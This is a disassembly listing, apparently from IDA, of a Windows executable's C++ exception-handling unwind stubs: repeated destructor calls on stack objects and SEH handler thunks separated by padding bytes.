; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403FC0	proc near		; DATA XREF: sub_403FC0+2o
		mov	eax, offset dword_43E890
		jmp	sub_4367C8
SEH_403FC0	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438208:				; DATA XREF: ___:0043E974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404640	proc near		; DATA XREF: sub_404640+2o
		mov	eax, offset dword_43E948
		jmp	sub_4367C8
SEH_404640	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43828B:				; DATA XREF: ___:0043E9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438296:				; DATA XREF: ___:0043EA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404C70	proc near		; DATA XREF: sub_404C70+8o
		mov	eax, offset dword_43E9D0
		jmp	sub_4367C8
SEH_404C70	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_438530:				; DATA XREF: ___:0043EBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43854E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43854E:				; CODE XREF: ___:00438540j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4066E0	proc near		; DATA XREF: sub_4066E0+2o
		mov	eax, offset dword_43EBA8
		jmp	sub_4367C8
SEH_4066E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_438570:				; DATA XREF: ___:0043EC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_438594
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438594:				; CODE XREF: ___:00438586j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406890	proc near		; DATA XREF: sub_406890+2o
		mov	eax, offset dword_43EBE0
		jmp	sub_4367C8
SEH_406890	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385BB:				; DATA XREF: ___:0043EC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385C6:				; DATA XREF: ___:0043EC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C30	proc near		; DATA XREF: sub_406C30+8o
		mov	eax, offset dword_43EC18
		jmp	sub_4367C8
SEH_406C30	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407030	proc near		; DATA XREF: sub_407030+2o
		mov	eax, offset dword_43EC58
		jmp	sub_4367C8
SEH_407030	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407660	proc near		; DATA XREF: sub_407660+8o
		mov	eax, offset dword_43EC88
		jmp	sub_4367C8
SEH_407660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438638:				; DATA XREF: ___:0043ECE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076F0	proc near		; DATA XREF: sub_4076F0+8o
		mov	eax, offset dword_43ECB8
		jmp	sub_4367C8
SEH_4076F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43865B:				; DATA XREF: ___:0043ED1Co
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2FCh]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407790	proc near		; DATA XREF: sub_407790+2o
		mov	eax, offset dword_43ECF0
		jmp	sub_4367C8
SEH_407790	endp

; ---------------------------------------------------------------------------
		db 0CAh	dup(0CCh)
		dd 90C84D8Dh, 0C56A4CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409580	proc near		; DATA XREF: sub_409580+2o
		mov	eax, offset dword_43F098
		jmp	sub_4367C8
SEH_409580	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A290	proc near		; DATA XREF: sub_40A290+2o
		mov	eax, offset dword_43F0C8
		jmp	sub_4367C8
SEH_40A290	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_438A86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438A86:				; CODE XREF: ___:00438A78j
		retn
; ---------------------------------------------------------------------------


loc_438A87:				; DATA XREF: ___:0043F124o
		lea	ecx, [ebp-34h]
		jmp	sub_40158C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A430	proc near		; DATA XREF: sub_40A430+2o
		mov	eax, offset dword_43F0F8
		jmp	sub_4367C8
SEH_40A430	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C569CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_438AB9:				; DATA XREF: ___:0040A952o
		mov	eax, offset dword_43F138
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AE10	proc near		; DATA XREF: sub_40AE10+5o
		mov	eax, offset dword_43F168
		jmp	sub_4367C8
SEH_40AE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AF90	proc near		; DATA XREF: sub_40AF90+5o
		mov	eax, offset dword_43F1C8
		jmp	sub_4367C8
SEH_40AF90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438AFB:				; DATA XREF: ___:0043F254o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B0B0	proc near		; DATA XREF: sub_40B0B0+2o
		mov	eax, offset dword_43F228
		jmp	sub_4367C8
SEH_40B0B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438B4B:				; DATA XREF: ___:0043F29Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B170	proc near		; DATA XREF: sub_40B170+2o
		mov	eax, offset dword_43F270
		jmp	sub_4367C8
SEH_40B170	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B210	proc near		; DATA XREF: sub_40B210+2o
		mov	eax, offset dword_43F2B8
		jmp	sub_4367C8
SEH_40B210	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BC8:				; DATA XREF: ___:0043F324o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B430	proc near		; DATA XREF: sub_40B430+2o
		mov	eax, offset dword_43F2F8
		jmp	sub_4367C8
SEH_40B430	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BF8:				; DATA XREF: ___:0040B5F2o
		mov	eax, offset dword_43F338
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C30:				; DATA XREF: ___:0040B8D8o
		mov	eax, offset dword_43F368
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C360	proc near		; DATA XREF: sub_40C360+2o
		mov	eax, offset dword_43F3B0
		jmp	sub_4367C8
SEH_40C360	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401AFF
; ---------------------------------------------------------------------------


loc_438C7B:				; DATA XREF: ___:0043F40Co
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C86:				; DATA XREF: ___:0043F414o
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C400	proc near		; DATA XREF: sub_40C400+8o
		mov	eax, offset dword_43F3E0
		jmp	sub_4367C8
SEH_40C400	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CB10	proc near		; DATA XREF: sub_40CB10+2o
		mov	eax, offset dword_43F428
		jmp	sub_4367C8
SEH_40CB10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40226B
; ---------------------------------------------------------------------------


loc_438CEB:				; DATA XREF: ___:0043F484o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438CF6:				; DATA XREF: ___:0043F48Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D01:				; DATA XREF: ___:0043F494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D0C:				; DATA XREF: ___:0043F49Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBB0	proc near		; DATA XREF: sub_40CBB0+8o
		mov	eax, offset dword_43F458
		jmp	sub_4367C8
SEH_40CBB0	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D4B:				; DATA XREF: ___:0043F4D4o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CE60	proc near		; DATA XREF: sub_40CE60+2o
		mov	eax, offset dword_43F4A8
		jmp	sub_4367C8
SEH_40CE60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D7B:				; DATA XREF: ___:0043F50Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D86:				; DATA XREF: ___:0040CEE2o
		mov	eax, offset dword_43F4E0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D130	proc near		; DATA XREF: sub_40D130+2o
		mov	eax, offset dword_43F518
		jmp	sub_4367C8
SEH_40D130	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DEB:				; DATA XREF: ___:0043F58Co
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D580	proc near		; DATA XREF: sub_40D580+2o
		mov	eax, offset dword_43F560
		jmp	sub_4367C8
SEH_40D580	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DB40	proc near		; DATA XREF: sub_40DB40+2o
		mov	eax, offset dword_43F5D0
		jmp	sub_4367C8
SEH_40DB40	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438F28:				; DATA XREF: ___:0043F694o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E220	proc near		; DATA XREF: sub_40E220+2o
		mov	eax, offset dword_43F668
		jmp	sub_4367C8
SEH_40E220	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
